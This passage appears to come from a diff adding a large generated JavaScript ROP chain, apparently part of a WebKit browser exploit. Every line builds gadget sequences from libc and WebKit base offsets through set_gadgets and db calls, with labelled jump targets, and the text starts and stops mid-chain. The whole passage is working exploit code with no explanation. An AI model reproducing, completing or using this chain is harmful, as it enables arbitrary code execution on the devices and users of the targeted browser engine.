+libc_base+713278, //pop rsi +ropchain+95456, //L753 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L753: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+95512, //L755 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L755: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+95624, //L759 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L757: +db([10, 0]); // 0xa +set_gadget(libc_base+772328,); //pop rcx +//L758: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L759: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+95704, //L760 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+95720, //L761 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L760: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L761: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+95808, //L762 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L762: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+95864, //L764 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L764: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+95936, //L766 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L766: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+95992, //L768 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L768: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +//L770: +webkit_base+14572727, //mov [rax], rdi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+96144, //L772 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L771: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L772: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+96248, //L775 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+96232, //L774 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L774: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L775: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+96392, //L779 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+96360, //L777 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+96376, //L778 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L777: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L778: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L779: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+96464, //L780 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L780: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+96520, //L782 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L782: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+96632, //L786 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L784: +db([11, 0]); // 0xb +set_gadget(libc_base+772328,); //pop rcx +//L785: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L786: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+96712, //L787 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+96728, //L788 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L787: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L788: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+96816, //L789 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L789: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+96872, //L791 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L791: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+96944, //L793 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L793: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+97000, //L795 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L795: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +//L797: +libc_base+845410, //mov rax, rsi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+97152, //L799 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L798: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L799: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+97256, //L802 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+97240, //L801 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L801: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L802: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+97400, //L806 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+97368, //L804 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+97384, //L805 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L804: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L805: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L806: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+97472, //L807 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L807: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+97528, //L809 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L809: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+97640, //L813 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L811: +db([12, 0]); // 0xc +set_gadget(libc_base+772328,); //pop rcx +//L812: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L813: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+97720, //L814 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+97736, //L815 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L814: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L815: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+97824, //L816 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L816: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+97880, //L818 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L818: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+97952, //L820 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L820: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+98008, //L822 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L822: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +//L824: +libc_base+713278, //pop rsi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+98160, //L826 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L825: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L826: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+98264, //L829 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+98248, //L828 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L828: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L829: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+98408, //L833 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+98376, //L831 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+98392, //L832 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L831: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L832: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L833: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+98480, //L834 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L834: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+98536, //L836 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L836: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+98648, //L840 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L838: +db([13, 0]); // 0xd +set_gadget(libc_base+772328,); //pop rcx +//L839: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L840: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+98728, //L841 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+98744, //L842 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L841: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L842: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+98832, //L843 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L843: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+98888, //L845 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L845: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+98960, //L847 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L847: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+99016, //L849 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L849: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+99120, //L852 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L851: +db([4294967288, 4294967295]); // -0x8 +set_gadget(libc_base+772328,); //pop rcx +//L852: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+99224, //L855 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+99208, //L854 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L854: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L855: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+99368, //L859 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+99336, //L857 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+99352, //L858 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L857: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L858: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L859: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+99440, //L860 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L860: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+99496, //L862 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L862: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+99608, //L866 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L864: +db([5, 0]); // 0x5 +set_gadget(libc_base+772328,); //pop rcx +//L865: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L866: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+99688, //L867 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+99704, //L868 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L867: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L868: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+844101, //sub rax, rcx ; sbb rdx, rcx +libc_base+713278, //pop rsi +ropchain+99792, //L869 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L869: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+99848, //L871 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L871: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+99968, //L874 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L873: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L874: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+100072, //L877 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+100056, //L876 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L876: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L877: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+100216, //L881 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+100184, //L879 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+100200, //L880 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L879: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L880: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L881: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+100288, //L882 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L882: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+100344, //L884 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L884: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+100456, //L888 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L886: +db([14, 0]); // 0xe +set_gadget(libc_base+772328,); //pop rcx +//L887: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L888: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+100536, //L889 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+100552, //L890 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L889: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L890: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+100640, //L891 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L891: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+100696, //L893 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L893: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+100768, //L895 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L895: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+100824, //L897 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L897: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +//L899: +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+100976, //L901 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L900: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L901: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+101080, //L904 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+101064, //L903 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L903: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L904: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+101224, //L908 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+101192, //L906 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+101208, //L907 +webkit_base+4687784, //mov 